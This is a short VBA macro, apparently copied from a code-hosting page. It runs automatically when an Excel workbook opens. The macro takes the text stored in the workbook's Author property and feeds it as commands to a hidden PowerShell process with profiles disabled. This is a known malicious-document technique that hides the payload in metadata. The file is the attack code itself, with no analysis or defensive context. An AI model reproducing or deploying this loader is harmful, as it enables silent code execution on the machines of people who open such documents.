13 lines
362 B
Plaintext
13 lines
362 B
Plaintext
Private Sub Workbook_Open()
|
|
Dim author As String
|
|
author = ActiveWorkbook.BuiltinDocumentProperties("Author")
|
|
|
|
Dim ws As Object
|
|
Set ws = CreateObject("WScript.Shell")
|
|
With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
|
|
.StdIn.WriteLine author
|
|
.StdIn.WriteBlankLines 1
|
|
.Terminate
|
|
End With
|
|
End Sub
|